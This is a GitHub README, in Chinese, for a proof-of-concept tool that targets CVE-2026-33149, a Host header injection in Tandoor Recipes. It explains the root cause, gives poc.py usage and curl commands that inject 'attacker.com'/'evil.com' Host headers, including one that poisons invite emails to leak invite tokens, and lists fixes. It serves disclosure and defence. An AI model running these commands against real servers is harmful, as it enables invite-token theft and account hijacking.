FilipeGaudard/CVE-2026-33149-PoC

GitHub: FilipeGaudard/CVE-2026-33149-PoC

针对Tandoor Recipes CVE-2026-33149 Host Header注入漏洞的概念验证工具,支持多模块验证邀请链接投毒等攻击场景。

Stars: 0 | Forks: 0

# CVE-2026-33149 — Tandoor Recipes 中的 Host Header Injection

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure

## 摘要 Tandoor Recipes 在 `settings.py` 中默认设置 `ALLOWED_HOSTS = '*'`,导致 Django 在不进行验证的情况下接受 HTTP `Host` 头中的**任何值**。该应用程序在多个安全敏感上下文中使用 `request.build_absolute_uri()` 生成绝对 URL。能够发送带有精心构造的 `Host` 头请求的攻击者,可以将服务器生成的所有 URL 重定向到攻击者控制的域。 **最严重的影响是邀请链接投毒**:当管理员创建用户邀请时,服务器发送的电子邮件包含指向攻击者域的链接。受害者点击看起来合法的电子邮件,邀请 token 被窃取,攻击者利用它劫持账户配置流程。 ## 漏洞详情 | 字段 | 值 | |---|---| | **CVE ID** | [CVE-2026-33149](https://www.cve.org/CVERecord?id=CVE-2026-33149) | | **GHSA** | [GHSA-x636-4jx6-xc4w](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-x636-4jx6-xc4w) | | **CWE** | [CWE-644](https://cwe.mitre.org/data/definitions/644.html) — HTTP 头中脚本语法的不正确过滤 | | **CVSS v3.1** | **8.1 HIGH** — `AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N` | | **受影响版本** | Tandoor Recipes ≤ 2.5.3 | | **供应商** | [TandoorRecipes/recipes](https://github.com/TandoorRecipes/recipes) | ### MITRE ATT&CK 映射 | 技术 ID | 名称 | 相关性 | |---|---|---| | [T1557](https://attack.mitre.org/techniques/T1557/) | 中间人攻击 | 操纵服务器生成的 URL 以重定向流量 | | [T1566.002](https://attack.mitre.org/techniques/T1566/002/) | 钓鱼:鱼叉式钓鱼链接 | 投毒的邀请邮件包含攻击者控制的链接 | ## 根本原因分析 ### 1. 通配符 ALLOWED_HOSTS **文件:** `recipes/settings.py:118` ``` ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard ``` Django 的 `ALLOWED_HOSTS` 是一种安全措施,用于根据白名单验证 `Host` 头。通配符 `'*'` 完全禁用了此验证,允许任何任意值。 ### 2. 邀请邮件中不安全的 URL 生成 **文件:** `cookbook/serializer.py:1852-1853` ``` message += _('Click the following link to activate your account: ') + self.context[ 'request'].build_absolute_uri( reverse('view_invite', args=[str(obj.uuid)]) ) + '\n\n' ``` `request.build_absolute_uri()` 使用 `request.get_host()` 构建 URL,当 `ALLOWED_HOSTS` 不限制时,它返回原始的 `Host` 头值。邀请 UUID —— 一个秘密 token —— 被嵌入到现在指向攻击者的 URL 中。 ### 3. 其他受影响的攻击面 - **API 分页** — DRF 分页类使用 `build_absolute_uri()` 生成 `next`/`previous` URL - **OpenAPI Schema** — Schema 生成器将其用于服务器 URL - **缓存投毒** — 具有缓存代理的部署存在从单个请求向所有用户提供投毒 URL 的风险 ## 攻击流程 ``` ┌──────────┐ ① Crafted Request ┌─────────────────┐ │ Attacker │ ──────────────────────────────→│ Tandoor Server │ │ │ Host: attacker.com │ ALLOWED_HOSTS=*│ └──────────┘ └────────┬────────┘ │ ② build_absolute_uri() uses "attacker.com" │ ▼ ┌────────────────┐ │ SMTP Server │ └────────┬───────┘ │ ③ Email with poisoned link: http://attacker.com/invite/ │ ▼ ┌────────────────┐ │ Victim │ │ (clicks link) │ └────────┬───────┘ │ ④ UUID sent to attacker │ ▼ ┌────────────────┐ │ Attacker │ │ uses UUID at │ │ real server │ └────────────────┘ ``` ## 概念验证 ### 要求 - Python 3.8+ - `requests` 库 ``` pip install requests ``` ### 用法 ``` # 使用 basic auth 运行所有验证模块 python3 poc.py --target http://localhost:8085 \ --basic-auth admin:password \ --attacker evil.com \ --module all # 使用 session cookies 运行所有模块 python3 poc.py --target http://target:8085 \ --session \ --csrf \ --attacker evil.com \ --module all # 仅 Invite link poisoning python3 poc.py --target http://target:8085 \ --session \ --csrf \ --attacker evil.com \ --module invite \ --email victim@company.com \ --group-id 1 ``` ### 模块 | 模块 | 描述 | |---|---| | `host-accept` | 验证目标接受任意 `Host` 头 (`ALLOWED_HOSTS = '*'`) | | `pagination` | 确认 API 分页 URL 反映注入的域 | | `schema` | 确认 OpenAPI schema 服务器 URL 反映注入的域 | | `invite` | 创建投毒的邀请链接 —— 主要攻击向量 | | `all` | 按顺序运行所有模块 | ### 手动验证 **1. Host Header 接受性** ``` curl -s -o /dev/null -w "%{http_code}" \ http://TARGET:8085/api/user/ \ -H "Host: attacker.com" \ -u "admin:password" # 预期: 200 (易受攻击) | 400 (已修补) ``` **2. 分页 URL 反射** ``` curl -s "http://TARGET:8085/api/recipe/?page_size=1" \ -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \ -H "Host: evil.com" \ -H "Accept: application/json" # 预期: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...} ``` **3. Schema URL 反射** ``` curl -s http://TARGET:8085/api/schema/ \ -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \ -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3 # 预期: http://evil.com/... ``` **4. 邀请链接投毒** ``` curl -s http://TARGET:8085/api/invite-link/ \ -X POST \ -H "Content-Type: application/json" \ -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \ -H "X-CSRFToken: CSRF" \ -H "Host: attacker.com" \ -d '{"email":"victim@company.com","group":{"id":1},"valid_until":"2027-01-01"}' # 受害者收到邮件: "点击: http://attacker.com/invite/" ``` ## 影响 | 影响范围 | 描述 | 严重程度 | |---|---|---| | **邀请 Token 劫持** | 攻击者通过投毒的邮件链接捕获邀请 UUID,劫持账户配置 | **Critical** | | **凭证钓鱼** | 受害者落到攻击者控制的域,期望这是一个合法的注册页面 | **High** | | **缓存投毒** | 在具有缓存代理的部署中,单个投毒响应会污染所有用户的缓存 | **High** | | **API 客户端误导** | 分页和 schema URL 将 API 消费者重定向到攻击者基础设施 | **Medium** | ## 修复方案 ### 立即修复 将 `ALLOWED_HOSTS` 设置为显式列出您的有效主机名: ``` # docker-compose.yml 或 .env ALLOWED_HOSTS=recipes.yourdomain.com,localhost ``` ### 纵深防御 1. **反向代理验证** — 配置 Nginx/Apache 在到达 Django 之前拒绝具有意外 `Host` 头的请求 2. **`USE_X_FORWARDED_HOST = False`** — 确保 Django 不信任来自不可信来源的 `X-Forwarded-Host`(默认为 `False`) 3. **SMTP 链接加固** — 使用显式的 `SITE_URL` 配置来生成电子邮件链接,而不是依赖 `request.build_absolute_uri()` ## 参考资料 - [GHSA-x636-4jx6-xc4w](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-x636-4jx6-xc4w) - [CVE-2026-33149](https://www.cve.org/CVERecord?id=CVE-2026-33149) - [CWE-644: HTTP Headers 的不正确过滤](https://cwe.mitre.org/data/definitions/644.html) - [Django ALLOWED_HOSTS 文档](https://docs.djangoproject.com/en/5.0/ref/settings/#allowed-hosts) - [MITRE ATT&CK T1557 — 中间人攻击](https://attack.mitre.org/techniques/T1557/) - [MITRE ATT&CK T1566.002 — 钓鱼:鱼叉式钓鱼链接](https://attack.mitre.org/techniques/T1566/002/) ## 免责声明 此概念验证仅用于**授权的安全测试和教育目的**。未经授权访问计算机系统是非法的。作者不对滥用此工具承担责任。 ## 作者 **Filipe Gaudard** — 攻击性安全研究员 | eWPT | eWPTx - GitHub: [@FilipeGaudard](https://github.com/FilipeGaudard) - LinkedIn: [Filipe Gaudard](https://www.linkedin.com/in/filipegaudard/)
标签:CVE-2026-33149, CWE-644, Django, GHSA, Host Header Injection, HTTP头注入, Python, Tandoor Recipes, Web安全, 中间人攻击, 安全漏洞, 提权, 无后门, 网络安全, 蓝队分析, 账号劫持, 逆向工具, 邀请链接投毒, 隐私保护